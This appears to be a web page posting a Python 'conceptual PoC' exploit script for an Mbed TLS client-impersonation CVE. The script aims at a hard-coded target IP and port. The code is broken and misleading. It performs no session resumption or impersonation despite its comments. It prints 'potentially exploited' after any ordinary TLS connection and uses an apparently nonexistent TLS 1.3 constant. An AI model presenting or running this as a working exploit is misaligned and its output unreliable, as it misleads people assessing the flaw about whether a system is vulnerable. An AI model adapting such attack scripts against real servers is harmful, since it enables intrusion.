CVE-2026-34873 Mbed TLS客户端模拟漏洞

# Conceptual PoC for CVE-2026-34873: Mbed TLS Client Impersonation import socket import ssl # Target vulnerable Mbed TLS server TARGET_HOST = '192.168.1.100' TARGET_PORT = 4433 sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) # Create TLS 1.3 context context = ssl.SSLContext(ssl.PROTOCOL_TLSv1_3) try: # Attempt to establish connection and resume session # Exploit condition: Server fails to verify client identity during resumption ssl_sock = context.wrap_socket(sock, server_hostname=TARGET_HOST) ssl_sock.connect((TARGET_HOST, TARGET_PORT)) print("[+] Connection established (Session Resumed)") print("[+] Vulnerability CVE-2026-34873 potentially exploited") # Send data as impersonated client ssl_sock.send(b"GET / HTTP/1.1\r\nHost: " + TARGET_HOST.encode() + b"\r\n\r\n") response = ssl_sock.recv(4096) print(response.decode()) except Exception as e: print(f"[-] Exploit failed: {e}") finally: sock.close()